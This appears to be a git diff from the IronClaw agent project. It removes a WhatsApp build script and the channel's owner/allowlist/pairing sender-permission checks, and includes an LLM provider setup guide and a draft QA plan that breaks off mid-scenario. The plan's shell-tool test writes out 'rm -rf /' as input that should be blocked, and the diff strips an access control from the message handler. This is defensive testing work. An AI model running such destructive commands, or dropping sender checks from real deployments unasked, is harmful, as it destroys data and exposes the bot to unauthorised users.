{"type":"channel","name":"telegram","description":"Telegram Bot API channel for receiving and responding to Telegram messages","capabilities":{"http":{"allowlist":[{"host":"api.telegram.org","path_prefix":"/bot"}],"credentials":{"telegram_bot":{"secret_name":"telegram_bot_token","location":{"type":"url_path","placeholder":"{TELEGRAM_BOT_TOKEN}"},"host_patterns":["api.telegram.org"]}},"rate_limit":{"requests_per_minute":30,"requests_per_hour":1000}},"secrets":{"allowed_names":["telegram_*"]},"channel":{"allowed_paths":["/webhook/telegram"],"allow_polling":true,"min_poll_interval_ms":30000,"workspace_prefix":"channels/telegram/","emit_rate_limit":{"messages_per_minute":100,"messages_per_hour":5000}}},"config":{"bot_username":null,"owner_id":null,"respond_to_all_group_messages":false,"polling_enabled":false,"poll_interval_ms":30000,"dm_policy":"pairing","allow_from":[]}}
-48
View File
@@ -1,48 +0,0 @@
#!/usr/bin/env bash
# Build the WhatsApp channel WASM component
#
# Prerequisites:
# - Rust with wasm32-wasip2 target: rustup target add wasm32-wasip2
# - wasm-tools for component creation: cargo install wasm-tools
#
# Output:
# - whatsapp.wasm - WASM component ready for deployment
# - whatsapp.capabilities.json - Capabilities file (copy alongside .wasm)
set -euo pipefail
cd "$(dirname "$0")"
if ! command -v wasm-tools &> /dev/null; then
echo "Error: wasm-tools not found. Install with: cargo install wasm-tools"
exit 1
fi
echo "Building WhatsApp channel WASM component..."
# Build the WASM module
cargo build --release --target wasm32-wasip2
# Convert to component model (if not already a component)
# wasm-tools component new is idempotent on components
WASM_PATH="target/wasm32-wasip2/release/whatsapp_channel.wasm"
if [ -f "$WASM_PATH" ]; then
# Create component if needed
wasm-tools component new "$WASM_PATH" -o whatsapp.wasm 2>/dev/null || cp "$WASM_PATH" whatsapp.wasm
# Optimize the component
wasm-tools strip whatsapp.wasm -o whatsapp.wasm
echo "Built: whatsapp.wasm ($(du -h whatsapp.wasm | cut -f1))"
echo ""
echo "To install:"
echo " mkdir -p ~/.ironclaw/channels"
echo " cp whatsapp.wasm whatsapp.capabilities.json ~/.ironclaw/channels/"
echo ""
echo "Then add your access token to secrets:"
echo " # Set whatsapp_access_token in your environment or secrets store"
else
echo "Error: WASM output not found at $WASM_PATH"
exit 1
fi
-191
View File
@@ -226,15 +226,6 @@ struct WhatsAppMessageMetadata {
timestamp: String,
}
/// Workspace path for persisting owner_id across WASM callbacks.
const OWNER_ID_PATH: &str = "state/owner_id";
/// Workspace path for persisting dm_policy across WASM callbacks.
const DM_POLICY_PATH: &str = "state/dm_policy";
/// Workspace path for persisting allow_from (JSON array) across WASM callbacks.
const ALLOW_FROM_PATH: &str = "state/allow_from";
/// Channel name for pairing store (used by pairing host APIs).
const CHANNEL_NAME: &str = "whatsapp";
/// Channel configuration from capabilities file.
#[derive(Debug, Deserialize)]
struct WhatsAppConfig {
@@ -245,15 +236,6 @@ struct WhatsAppConfig {
/// Whether to reply to the original message (thread context)
#[serde(default = "default_reply_to_message")]
reply_to_message: bool,
#[serde(default)]
owner_id: Option<String>,
#[serde(default)]
dm_policy: Option<String>,
#[serde(default)]
allow_from: Option<Vec<String>>,
}
fn default_api_version() -> String {
@@ -282,9 +264,6 @@ impl Guest for WhatsAppChannel {
WhatsAppConfig {
api_version: default_api_version(),
reply_to_message: default_reply_to_message(),
owner_id: None,
dm_policy: None,
allow_from: None,
}
}
};
@@ -300,24 +279,6 @@ impl Guest for WhatsAppChannel {
// Persist api_version in workspace so on_respond() can read it
let _ = channel_host::workspace_write("channels/whatsapp/api_version", &config.api_version);
// Persist permission config for handle_message
if let Some(ref owner_id) = config.owner_id {
let _ = channel_host::workspace_write(OWNER_ID_PATH, owner_id);
channel_host::log(
channel_host::LogLevel::Info,
&format!("Owner restriction enabled: user {}", owner_id),
);
} else {
let _ = channel_host::workspace_write(OWNER_ID_PATH, "");
}
let dm_policy = config.dm_policy.as_deref().unwrap_or("pairing");
let _ = channel_host::workspace_write(DM_POLICY_PATH, dm_policy);
let allow_from_json = serde_json::to_string(&config.allow_from.unwrap_or_default())
.unwrap_or_else(|_| "[]".to_string());
let _ = channel_host::workspace_write(ALLOW_FROM_PATH, &allow_from_json);
// WhatsApp Cloud API is webhook-only, no polling available
Ok(ChannelConfig {
display_name: "WhatsApp".to_string(),
@@ -643,15 +604,6 @@ fn handle_message(
// Look up sender's name from contacts
let user_name = contact_names.get(&message.from).cloned();
// Permission check (WhatsApp is always DM)
if !check_sender_permission(
&message.from,
user_name.as_deref(),
phone_number_id,
) {
return;
}
// Build metadata for response routing
// This is critical - the response handler uses this to know where to send
let metadata = WhatsAppMessageMetadata {
@@ -685,149 +637,6 @@ fn handle_message(
// Utilities
// ============================================================================
// ============================================================================
// Permission & Pairing
// ============================================================================
/// Check if a sender is permitted. Returns true if allowed.
/// WhatsApp is always 1-to-1 (DM), so dm_policy always applies.
fn check_sender_permission(
sender_phone: &str,
user_name: Option<&str>,
phone_number_id: &str,
) -> bool {
// 1. Owner check (highest priority)
let owner_id = channel_host::workspace_read(OWNER_ID_PATH).filter(|s| !s.is_empty());
if let Some(ref owner) = owner_id {
if sender_phone != owner {
channel_host::log(
channel_host::LogLevel::Debug,
&format!(
"Dropping message from non-owner {} (owner: {})",
sender_phone, owner
),
);
return false;
}
return true;
}
// 2. DM policy (WhatsApp is always DM)
let dm_policy =
channel_host::workspace_read(DM_POLICY_PATH).unwrap_or_else(|| "pairing".to_string());
if dm_policy == "open" {
return true;
}
// 3. Build merged allow list
let mut allowed: Vec<String> = channel_host::workspace_read(ALLOW_FROM_PATH)
.and_then(|s| serde_json::from_str(&s).ok())
.unwrap_or_default();
if let Ok(store_allowed) = channel_host::pairing_read_allow_from(CHANNEL_NAME) {
allowed.extend(store_allowed);
}
// 4. Check sender (phone number or name)
let is_allowed = allowed.contains(&"*".to_string())
|| allowed.contains(&sender_phone.to_string())
|| user_name.is_some_and(|u| allowed.contains(&u.to_string()));
if is_allowed {
return true;
}
// 5. Not allowed — handle by policy
if dm_policy == "pairing" {
let meta = serde_json::json!({
"phone": sender_phone,
"name": user_name,
})
.to_string();
match channel_host::pairing_upsert_request(CHANNEL_NAME, sender_phone, &meta) {
Ok(result) => {
channel_host::log(
channel_host::LogLevel::Info,
&format!(
"Pairing request for {}: code {}",
sender_phone, result.code
),
);
if result.created {
let _ = send_pairing_reply(sender_phone, phone_number_id, &result.code);
}
}
Err(e) => {
channel_host::log(
channel_host::LogLevel::Error,
&format!("Pairing upsert failed: {}", e),
);
}
}
}
false
}
/// Send a pairing code message via WhatsApp Cloud API.
fn send_pairing_reply(
recipient_phone: &str,
phone_number_id: &str,
code: &str,
) -> Result<(), String> {
let api_version = channel_host::workspace_read("channels/whatsapp/api_version")
.filter(|s| !s.is_empty())
.unwrap_or_else(|| "v18.0".to_string());
let url = format!(
"https://graph.facebook.com/{}/{}/messages",
api_version, phone_number_id
);
let payload = serde_json::json!({
"messaging_product": "whatsapp",
"recipient_type": "individual",
"to": recipient_phone,
"type": "text",
"text": {
"preview_url": false,
"body": format!(
"To pair with this bot, run: ironclaw pairing approve whatsapp {}",
code
)
}
});
let payload_bytes =
serde_json::to_vec(&payload).map_err(|e| format!("Failed to serialize: {}", e))?;
let headers = serde_json::json!({
"Content-Type": "application/json",
"Authorization": "Bearer {WHATSAPP_ACCESS_TOKEN}"
});
let result = channel_host::http_request(
"POST",
&url,
&headers.to_string(),
Some(&payload_bytes),
None,
);
match result {
Ok(response) if response.status >= 200 && response.status < 300 => Ok(()),
Ok(response) => {
let body_str = String::from_utf8_lossy(&response.body);
Err(format!(
"WhatsApp API error: {} - {}",
response.status, body_str
))
}
Err(e) => Err(format!("HTTP request failed: {}", e)),
}
}
/// Create a JSON HTTP response.
fn json_response(status: u16, value: serde_json::Value) -> OutgoingHttpResponse {
let body = serde_json::to_vec(&value).unwrap_or_default();
@@ -48,9 +48,6 @@
},
"config": {
"api_version": "v18.0",
"reply_to_message": true,
"owner_id": null,
"dm_policy": "pairing",
"allow_from": []
"reply_to_message": true
}
}
-8
View File
@@ -1,8 +0,0 @@
# Complexity guardrails for AI-assisted development quality.
# These thresholds prevent new violations while preserving existing code.
# See: https://github.com/nearai/ironclaw/issues/338
cognitive-complexity-threshold = 15 # default: 25 (only active when lint is enabled)
too-many-lines-threshold = 100 # default: 100 (only active when lint is enabled)
too-many-arguments-threshold = 7 # default: 7 (keep default, avoids new violations)
type-complexity-threshold = 250 # default: 250 (keep default, avoids new violations)
-172
View File
@@ -1,172 +0,0 @@
# LLM Provider Configuration
IronClaw defaults to NEAR AI for model access, but supports any OpenAI-compatible
endpoint as well as Anthropic and Ollama directly. This guide covers the most common
configurations.
## Provider Overview
| Provider | Backend value | Requires API key | Notes |
|---|---|---|---|
| NEAR AI | `nearai` | OAuth (browser) | Default; multi-model |
| Anthropic | `anthropic` | `ANTHROPIC_API_KEY` | Claude models |
| OpenAI | `openai` | `OPENAI_API_KEY` | GPT models |
| Ollama | `ollama` | No | Local inference |
| OpenRouter | `openai_compatible` | `LLM_API_KEY` | 300+ models |
| Together AI | `openai_compatible` | `LLM_API_KEY` | Fast inference |
| Fireworks AI | `openai_compatible` | `LLM_API_KEY` | Fast inference |
| vLLM / LiteLLM | `openai_compatible` | Optional | Self-hosted |
| LM Studio | `openai_compatible` | No | Local GUI |
---
## NEAR AI (default)
No additional configuration required. On first run, `ironclaw onboard` opens a browser
for OAuth authentication. Credentials are saved to `~/.ironclaw/session.json`.
```env
NEARAI_MODEL=claude-3-5-sonnet-20241022
NEARAI_BASE_URL=https://private.near.ai
```
---
## Anthropic (Claude)
```env
LLM_BACKEND=anthropic
ANTHROPIC_API_KEY=sk-ant-...
```
Popular models: `claude-sonnet-4-20250514`, `claude-3-5-sonnet-20241022`, `claude-3-5-haiku-20241022`
---
## OpenAI (GPT)
```env
LLM_BACKEND=openai
OPENAI_API_KEY=sk-...
```
Popular models: `gpt-4o`, `gpt-4o-mini`, `o3-mini`
---
## Ollama (local)
Install Ollama from [ollama.com](https://ollama.com), pull a model, then:
```env
LLM_BACKEND=ollama
OLLAMA_MODEL=llama3.2
# OLLAMA_BASE_URL=http://localhost:11434 # default
```
Pull a model first: `ollama pull llama3.2`
---
## OpenAI-Compatible Endpoints
All providers below use `LLM_BACKEND=openai_compatible`. Set `LLM_BASE_URL` to the
provider's OpenAI-compatible endpoint and `LLM_API_KEY` to your API key.
### OpenRouter
[OpenRouter](https://openrouter.ai) routes to 300+ models from a single API key.
```env
LLM_BACKEND=openai_compatible
LLM_BASE_URL=https://openrouter.ai/api/v1
LLM_API_KEY=sk-or-...
LLM_MODEL=anthropic/claude-sonnet-4
```
Popular OpenRouter model IDs:
| Model | ID |
|---|---|
| Claude Sonnet 4 | `anthropic/claude-sonnet-4` |
| GPT-4o | `openai/gpt-4o` |
| Llama 4 Maverick | `meta-llama/llama-4-maverick` |
| Gemini 2.0 Flash | `google/gemini-2.0-flash-001` |
| Mistral Small | `mistralai/mistral-small-3.1-24b-instruct` |
Browse all models at [openrouter.ai/models](https://openrouter.ai/models).
### Together AI
[Together AI](https://www.together.ai) provides fast inference for open-source models.
```env
LLM_BACKEND=openai_compatible
LLM_BASE_URL=https://api.together.xyz/v1
LLM_API_KEY=...
LLM_MODEL=meta-llama/Llama-3.3-70B-Instruct-Turbo
```
Popular Together AI model IDs:
| Model | ID |
|---|---|
| Llama 3.3 70B | `meta-llama/Llama-3.3-70B-Instruct-Turbo` |
| DeepSeek R1 | `deepseek-ai/DeepSeek-R1` |
| Qwen 2.5 72B | `Qwen/Qwen2.5-72B-Instruct-Turbo` |
### Fireworks AI
[Fireworks AI](https://fireworks.ai) offers fast inference with compound AI system support.
```env
LLM_BACKEND=openai_compatible
LLM_BASE_URL=https://api.fireworks.ai/inference/v1
LLM_API_KEY=fw_...
LLM_MODEL=accounts/fireworks/models/llama4-maverick-instruct-basic
```
### vLLM / LiteLLM (self-hosted)
For self-hosted inference servers:
```env
LLM_BACKEND=openai_compatible
LLM_BASE_URL=http://localhost:8000/v1
LLM_API_KEY=token-abc123 # set to any string if auth is not configured
LLM_MODEL=meta-llama/Llama-3.1-8B-Instruct
```
LiteLLM proxy (forwards to any backend, including Bedrock, Vertex, Azure):
```env
LLM_BACKEND=openai_compatible
LLM_BASE_URL=http://localhost:4000/v1
LLM_API_KEY=sk-...
LLM_MODEL=gpt-4o # as configured in litellm config.yaml
```
### LM Studio (local GUI)
Start LM Studio's local server, then:
```env
LLM_BACKEND=openai_compatible
LLM_BASE_URL=http://localhost:1234/v1
LLM_MODEL=llama-3.2-3b-instruct-q4_K_M
# LLM_API_KEY is not required for LM Studio
```
---
## Using the Setup Wizard
Instead of editing `.env` manually, run the onboarding wizard:
```bash
ironclaw onboard
```
Select **"OpenAI-compatible"** for OpenRouter, Together AI, Fireworks, vLLM, LiteLLM,
or LM Studio. You will be prompted for the base URL and (optionally) an API key.
The model name is configured in the following step.
-908
View File
@@ -1,908 +0,0 @@
# Automated QA Plan for IronClaw
**Date:** 2026-02-24
**Status:** Draft
**Goal:** Systematically close the QA gaps that led to the ~40 bugs found in issues/PRs to date, progressing from cheap high-ROI checks to full computer-use E2E testing.
---
## Motivation
A review of all closed issues and merged bug-fix PRs reveals that most IronClaw bugs fall into a few recurring categories:
| Category | Examples | Root Cause |
|----------|----------|------------|
| Config persistence | Wizard re-triggers on restart, LLM backend silently ignored | No round-trip test for config write→restart→read |
| Turn persistence | Tool approval results lost, user messages lost on crash | No test that persists a turn and reads it back |
| Tool schema validity | `required`/`properties` mismatch → 400s with OpenAI strict mode | No schema validator in CI |
| WASM lifecycle | Workspace writes silently discarded, duplicate Telegram messages | No test that exercises host function → flush → read-back |
| Web UI / SSE | No re-sync on reconnect, orphan threads, HTML injection | No browser-level testing at all |
| Shell safety | Destructive-command check was dead code, pipe deadlock, env leak | Tests never passed realistic `Value::Object` args |
| Build integrity | Docker build broken, feature-flag code untested | CI only runs one feature configuration |
Most bugs live at **integration boundaries**, not inside isolated functions. The plan is organized in four tiers of increasing scope and cost, each targeting a specific class of bug.
---
## Tier 1: Schema & Contract Tests
**Cost:** Low (pure Rust tests, no infrastructure)
**Timeline:** Can land incrementally, one PR per sub-task
**Bugs this would have caught:** #131, #268, #129, #174, #187, #96, #320
### 1.1 Tool Schema Validator
Every tool registered in `ToolRegistry` must produce a `parameters_schema()` that passes OpenAI's strict-mode rules. Write a test that iterates all built-in tools and asserts:
- Top-level has `"type": "object"`
- Every key in `"required"` exists in `"properties"`
- Every property has a `"type"` field
- No `additionalProperties` unless explicitly set
- Nested objects follow the same rules recursively
```rust
// src/tools/registry.rs or a new tests/tool_schema_validation.rs
#[test]
fn all_tool_schemas_are_openai_strict_valid() {
let registry = ToolRegistry::new();
register_all_builtins(&mut registry);
for tool in registry.all_tools() {
let schema = tool.parameters_schema();
validate_strict_schema(&schema, &tool.name())
.unwrap_or_else(|e| panic!("Tool '{}' has invalid schema: {}", tool.name(), e));
}
}
```
Add the same validation for WASM tools (loaded from `~/.ironclaw/tools/`) and MCP tools (mock a simple MCP manifest and validate the schema it produces).
**Files:** New `src/tools/schema_validator.rs` (validation logic), test in `tests/tool_schema_validation.rs`
### 1.2 Config Round-Trip Tests
Test the full config lifecycle: write via wizard helpers → read back via `Config` loader → assert values match.
Cover the specific bugs found:
- `LLM_BACKEND` written to bootstrap `.env` and read back correctly
- `EMBEDDING_ENABLED=false` survives restart when `OPENAI_API_KEY` is set
- `ONBOARD_COMPLETED=true` in bootstrap `.env` causes `check_onboard_needed()` to return `false`
- Session token stored under `nearai.session_token` (not `nearai.session`)
```rust
#[test]
fn bootstrap_env_round_trips_llm_backend() {
let dir = tempdir().unwrap();
let env_path = dir.path().join(".env");
save_bootstrap_env(&env_path, &[("LLM_BACKEND", "openai")]).unwrap();
// Simulate restart: load from env file
dotenv::from_path(&env_path).unwrap();
assert_eq!(std::env::var("LLM_BACKEND").unwrap(), "openai");
}
```
**Files:** New `tests/config_round_trip.rs`
### 1.3 Feature-Flag CI Matrix
The current `code_style.yml` runs clippy without `--all-features`, missing code behind `#[cfg(feature = "libsql")]` etc. The `test.yml` runs with `--all-features` but not with individual features.
Add a CI matrix:
```yaml
# .github/workflows/test.yml
strategy:
matrix:
features:
- "--all-features"
- "" # default features only
- "--no-default-features --features libsql"
steps:
- name: Run Tests
run: cargo test ${{ matrix.features }} -- --nocapture
```
Update `code_style.yml` to also run clippy with `--all-features`:
```yaml
- name: Check lints (all features)
run: cargo clippy --all-features -- -D warnings
- name: Check lints (libsql only)
run: cargo clippy --no-default-features --features libsql -- -D warnings
```
**Files:** Modify `.github/workflows/test.yml`, `.github/workflows/code_style.yml`
### 1.4 Docker Build in CI
Add a job that runs `docker build .` on every PR. No need to push the image -- just verify it builds.
```yaml
# .github/workflows/test.yml - new job
docker-build:
name: Docker Build
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v6
- name: Build Docker image
run: docker build -t ironclaw-test:ci .
```
**Files:** Modify `.github/workflows/test.yml`
---
## Tier 2: Integration Tests
**Cost:** Medium (needs test harnesses, possibly testcontainers)
**Timeline:** Parallel workstream, ~1 week for the harness, then incremental test additions
**Bugs this would have caught:** #250, #305, #260, #264, #346, #125, #72, #140
### 2.1 Test Harness: In-Memory Database Backend
Many integration tests need a database but not a real PostgreSQL/libSQL instance. Create a lightweight in-memory `Database` implementation (backed by `HashMap`s) that satisfies the `Database` trait for test use. This avoids testcontainers overhead for most tests.
Alternatively, use libSQL in `:memory:` mode (it's SQLite under the hood):
```rust
// src/testing.rs
pub async fn test_db() -> impl Database {
let backend = LibSqlBackend::open_in_memory().await.unwrap();
backend.run_migrations().await.unwrap();
backend
}
```
**Files:** Extend `src/testing.rs`, potentially `src/db/libsql/mod.rs` (add `open_in_memory`)
### 2.2 Turn Persistence Tests
Test every code path in `process_approval` and the main agent loop that should call `persist_turn`:
```rust
#[tokio::test]
async fn approved_tool_call_persists_turn() {
let db = test_db().await;
let mut agent = TestAgent::new(db);
// Create a turn with a pending tool call
agent.submit("search for cats").await;
// Simulate tool approval
agent.approve_tool_call(0).await;
// Verify turn is in DB (not just in memory)
let turns = agent.db().get_turns(agent.thread_id()).await.unwrap();
assert!(turns.iter().any(|t| t.has_tool_result()));
}
```
Cover:
- Approved tool call with successful result
- Approved tool call with error result
- Approved tool call requiring auth
- Deferred tool call with auth
- User message persisted before agent loop starts (not after)
**Files:** New `tests/turn_persistence.rs`
### 2.3 WASM Channel Lifecycle Tests
Test the host function contract: `workspace_write()` followed by `take_pending_writes()` returns the written data. `workspace_read()` returns data that was previously written.
```rust
#[tokio::test]
async fn wasm_channel_workspace_writes_are_flushed() {
let mut wrapper = WasmChannelWrapper::new_test(telegram_wasm_bytes());
// Simulate a callback that writes workspace data
wrapper.handle_callback(test_update_payload()).await.unwrap();
// Verify writes were captured
let writes = wrapper.take_pending_writes();
assert!(!writes.is_empty(), "workspace_write() calls must be captured");
}
#[tokio::test]
async fn wasm_channel_workspace_read_returns_prior_writes() {
let mut wrapper = WasmChannelWrapper::new_test(telegram_wasm_bytes());
// Inject workspace data
wrapper.inject_workspace_entry("polling_offset", b"12345");
// Simulate a callback that reads workspace data
wrapper.handle_callback(test_update_payload()).await.unwrap();
// The channel should have used the injected offset (not 0)
// Verify by checking the getUpdates call offset parameter
}
```
**Files:** New `tests/wasm_channel_lifecycle.rs`, test helpers in `src/channels/wasm/wrapper.rs`
### 2.4 Extension Registry Collision Tests
Verify that installing a channel named "telegram" and a tool named "telegram" land in different directories and both resolve correctly:
```rust
#[tokio::test]
async fn channel_and_tool_with_same_name_dont_collide() {
let registry = TestRegistry::new();
registry.install("telegram", ArtifactKind::Channel).await.unwrap();
registry.install("telegram", ArtifactKind::Tool).await.unwrap();
assert!(registry.tools_dir().join("telegram").exists());
assert!(registry.channels_dir().join("telegram").exists());
// Both resolve independently
assert_eq!(registry.get("telegram", ArtifactKind::Channel).unwrap().kind, ArtifactKind::Channel);
assert_eq!(registry.get("telegram", ArtifactKind::Tool).unwrap().kind, ArtifactKind::Tool);
}
```
**Files:** New `tests/registry_collision.rs`
### 2.5 Shell Tool Realistic Arg Tests
The destructive-command check bug (PR #72) happened because tests passed `Value::String` args but the LLM sends `Value::Object`. Test with realistic args:
```rust
#[tokio::test]
async fn destructive_command_blocked_with_object_args() {
let shell = ShellTool::new();
let params = serde_json::json!({
"command": "rm -rf /"
});
// This is how the LLM actually sends args -- as an Object, not a String
let result = shell.execute(params, &test_context()).await;
assert!(result.is_err() || result.unwrap().contains("blocked"));
}
```
Also test pipe deadlock prevention with large output:
```rust
#[tokio::test]
async fn shell_handles_large_output_without_deadlock() {
let shell = ShellTool::new();
let params = serde_json::json!({
"command": "yes | head -c 200000" // ~200KB, well above pipe buffer
});
let result = tokio::time::timeout(
Duration::from_secs(10),
shell.execute(params, &test_context())
).await;
assert!(result.is_ok(), "shell tool deadlocked on large output");
}
```
**Files:** Extend `src/tools/builtin/shell.rs` tests
### 2.6 Failover and Circuit Breaker Edge Cases
```rust
#[test]
fn cooldown_activation_at_zero_nanos() {
let mut cooldown = ProviderCooldown::new();
// Edge case: if system clock returns 0 (or test mock does)
cooldown.activate_cooldown(0);
assert!(cooldown.is_in_cooldown(), "cooldown(0) must not be a no-op");
}
#[tokio::test]
async fn failover_with_all_providers_failing() {
let failover = FailoverProvider::new(vec![
always_failing_provider("a]"),
always_failing_provider("b"),
]);
let result = failover.chat(&[]).await;
assert!(result.is_err());
// Must not panic (the old .expect() bug)
}
```
**Files:** Extend `src/llm/circuit_breaker.rs` and `src/llm/failover.rs` tests
### 2.7 Context Length Recovery Test
Verify that when the LLM returns a `ContextLengthExceeded` error, the agent triggers compaction and retries rather than propagating the raw error:
```rust
#[tokio::test]
async fn context_length_exceeded_triggers_compaction() {
let mut agent = TestAgent::with_provider(
ContextLimitMockProvider::new(fail_after_n_turns: 3)
);
// Send enough messages to trigger context limit
for i in 0..5 {
agent.submit(&format!("message {i}")).await;
}
// Agent should have compacted and continued, not errored
assert!(agent.last_response().is_ok());
assert!(agent.compaction_count() > 0);
}
```
**Files:** New `tests/context_recovery.rs`
---
## Tier 3: Computer-Use E2E Testing
**Cost:** High (requires Anthropic computer use API, headless browser, ironclaw running)
**Timeline:** ~2 weeks for infrastructure, then incremental scenario additions
**Bugs this would have caught:** #307, #306, #263, all manual web-ui-test checklist items
### 3.1 Architecture
```
+------------------+ +-----------------+ +------------------+
| Test Runner | | Headless | | IronClaw |
| (Python/TS) |---->| Chromium |---->| (cargo run) |
| | | (Playwright) | | GATEWAY=true |
| Orchestrates | | | | port 3001 |
| scenarios | | Screenshots | | |
+--------+---------+ +--------+--------+ +------------------+
| |
v v
+------------------+ +-----------------+
| Claude | | Assertion |
| Computer Use | | Engine |
| API | | (visual + |
| (screenshot → | | DOM-based) |
| action) | | |
+------------------+ +-----------------+
```
**Components:**
1. **Test runner** -- Python or TypeScript script that orchestrates the flow. Starts ironclaw, waits for readiness, launches Playwright browser, runs scenarios.
2. **Playwright browser** -- Headless Chromium. Takes screenshots, executes click/type actions as directed by the computer use agent. Also provides DOM access for structural assertions (element exists, text content matches, no error toasts).
3. **Claude computer use agent** -- Anthropic API with `computer-use-2025-01-24` tool. Receives screenshots, returns actions (click coordinates, type text, scroll). The test runner translates actions into Playwright calls.
4. **Assertion engine** -- Hybrid approach:
- **DOM assertions** (Playwright): Fast, deterministic checks like "element with text 'Connected' exists", "no elements with class 'error-toast' visible", "skills list has N children"
- **Visual assertions** (Claude vision): For subjective checks like "the chat message rendered correctly", "no raw HTML visible in the output", "the SSE stream is updating in real-time"
### 3.2 Test Infrastructure Setup
**Directory structure:**
```
tests/
e2e/
conftest.py # pytest fixtures: start ironclaw, browser
computer_use.py # Claude computer use client wrapper
assertions.py # DOM + visual assertion helpers
scenarios/
test_connection.py
test_chat.py
test_skills.py
test_sse_reconnect.py
test_onboarding.py
test_html_injection.py
test_tool_approval.py
screenshots/ # Reference screenshots (gitignored)
Dockerfile.test # Container for CI: ironclaw + chromium
```
**Fixture: start ironclaw**
```python
@pytest.fixture(scope="session")
async def ironclaw_server():
"""Start ironclaw with gateway enabled, return base URL."""
env = {
"CLI_ENABLED": "false",
"GATEWAY_ENABLED": "true",
"GATEWAY_PORT": "3001",
"GATEWAY_AUTH_TOKEN": "test-token-e2e",
"GATEWAY_USER_ID": "e2e-tester",
"LLM_BACKEND": "openai_compatible", # or mock
"LLM_BASE_URL": "http://localhost:11434/v1", # local Ollama
"DATABASE_BACKEND": "libsql",
"LIBSQL_PATH": ":memory:",
"SANDBOX_ENABLED": "false",
"SKILLS_ENABLED": "true",
}
proc = await asyncio.create_subprocess_exec(
"cargo", "run", "--features", "libsql",
env={**os.environ, **env},
)
await wait_for_ready("http://127.0.0.1:3001/api/health", timeout=120)
yield "http://127.0.0.1:3001"
proc.terminate()
```
**Fixture: browser with computer use**
```python
@pytest.fixture
async def browser_agent(ironclaw_server):
"""Playwright browser + Claude computer use agent."""
async with async_playwright() as p:
browser = await p.chromium.launch(headless=True)
page = await browser.new_page(viewport={"width": 1280, "height": 720})
await page.goto(f"{ironclaw_server}/?token=test-token-e2e")
agent = ComputerUseAgent(page)
yield agent
await browser.close()
```
**Computer use wrapper:**
```python
class ComputerUseAgent:
"""Drives the browser via Claude computer use API."""
def __init__(self, page: Page):
self.page = page
self.client = anthropic.Anthropic()
async def execute_scenario(self, instruction: str, max_steps: int = 20) -> list[str]:
"""
Give a natural-language instruction, let Claude drive the browser.
Returns a list of observations/assertions from Claude.
"""
messages = [{"role": "user", "content": instruction}]
observations = []
for _ in range(max_steps):
screenshot = await self.take_screenshot()
response = self.client.messages.create(
model="claude-sonnet-4-20250514",
max_tokens=1024,
tools=[{
"type": "computer_20250124",
"name": "computer",
"display_width_px": 1280,
"display_height_px": 720,
}],
messages=messages,
)
# Process tool use blocks (click, type, screenshot, etc.)
for block in response.content:
if block.type == "tool_use":
result = await self.execute_action(block.input)
messages.append({"role": "assistant", "content": response.content})
messages.append({"role": "user", "content": [result]})
elif block.type == "text":
observations.append(block.text)
if response.stop_reason == "end_turn":
break
return observations
async def take_screenshot(self) -> bytes:
return await self.page.screenshot(type="png")
async def execute_action(self, action: dict) -> dict:
"""Translate Claude's computer use action to Playwright calls."""
if action["action"] == "click":
await self.page.mouse.click(action["coordinate"][0], action["coordinate"][1])
elif action["action"] == "type":
await self.page.keyboard.type(action["text"])
elif action["action"] == "scroll":
await self.page.mouse.wheel(0, action["coordinate"][1])
elif action["action"] == "key":
await self.page.keyboard.press(action["text"])
# Return screenshot after action
screenshot = await self.take_screenshot()
return {"type": "tool_result", "content": [
{"type": "image", "source": {"type": "base64", "media_type": "image/png",
"data": base64.b64encode(screenshot).decode()}}
]}
```
### 3.3 Test Scenarios
Each scenario maps to a real bug or the existing manual checklist in `skills/web-ui-test/SKILL.md`.
#### Scenario 1: Connection and Tab Navigation
```python
async def test_connection_and_tabs(browser_agent):
"""Bugs: #306 (orphan threads on null threadId during page load)"""
observations = await browser_agent.execute_scenario("""
1. Look at the page. Verify there is a "Connected" indicator visible.
2. Click each tab in order: Chat, Memory, Jobs, Routines, Extensions, Skills.
3. For each tab, verify the panel content changes and no error messages appear.
4. Return to the Chat tab.
5. Report what you see for each tab.
""")
# DOM assertions (fast, deterministic)
page = browser_agent.page
assert await page.locator(".connection-status.connected").count() > 0
for tab in ["chat", "memory", "jobs", "routines", "extensions", "skills"]:
assert await page.locator(f'[data-tab="{tab}"]').count() > 0
```
#### Scenario 2: Chat Message Round-Trip
```python
async def test_chat_sends_and_receives(browser_agent):
"""Bugs: #305 (user message not persisted), #255 (fake proceed messages)"""
observations = await browser_agent.execute_scenario("""
1. Click on the chat input box at the bottom.
2. Type "Hello, what is 2+2?" and press Enter.
3. Wait for the assistant to respond (you should see a streaming response).
4. Verify the assistant's response appears below your message.
5. Report the assistant's response.
""")
page = browser_agent.page
# At least 2 messages: user + assistant
messages = await page.locator(".message").count()
assert messages >= 2
# No error toasts
assert await page.locator(".toast.error").count() == 0
```
#### Scenario 3: SSE Reconnect
```python
async def test_sse_reconnect_preserves_history(browser_agent, ironclaw_server):
"""Bug: #307 (no re-sync on SSE reconnect after server restart)"""
page = browser_agent.page
# Step 1: Send a message
await browser_agent.execute_scenario("""
Type "Remember this: the secret word is platypus" in the chat and press Enter.
Wait for the response.
""")
msg_count_before = await page.locator(".message").count()
# Step 2: Kill and restart the server
# (test fixture provides a restart helper)
await restart_ironclaw(ironclaw_server)
# Step 3: Wait for reconnect
await page.wait_for_selector(".connection-status.connected", timeout=30000)
# Step 4: Verify message history is preserved
msg_count_after = await page.locator(".message").count()
assert msg_count_after >= msg_count_before, \
f"Messages lost after reconnect: {msg_count_before} -> {msg_count_after}"
```
#### Scenario 4: Skills Search, Install, Remove
```python
async def test_skills_lifecycle(browser_agent):
"""Automates the manual checklist from skills/web-ui-test/SKILL.md"""
# Override confirm() to auto-accept
await browser_agent.page.evaluate("window.confirm = () => true")
observations = await browser_agent.execute_scenario("""
1. Click the "Skills" tab.
2. Look for a search box. Type "markdown" and press Enter or click Search.
3. Wait for results to appear.
4. Verify results show: name, version, description.
5. Click "Install" on the first result.
6. Wait for a success notification.
7. Verify the skill now appears in the "Installed Skills" section.
8. Click "Remove" on the skill you just installed.
9. Wait for a success notification.
10. Verify the skill is gone from the installed list.
11. Report what happened at each step.
""")
# Final state: no installed skills (we removed what we installed)
page = browser_agent.page
await page.click('[data-tab="skills"]')
# Should not have the test skill installed
```
#### Scenario 5: HTML Injection Defense
```python
async def test_html_injection_sanitized(browser_agent):
"""Bug: #263 (HTML error pages injected into UI, still open)"""
# This requires a mock LLM that returns HTML in tool output
# or we craft a message that triggers tool output containing HTML
page = browser_agent.page
await browser_agent.execute_scenario("""
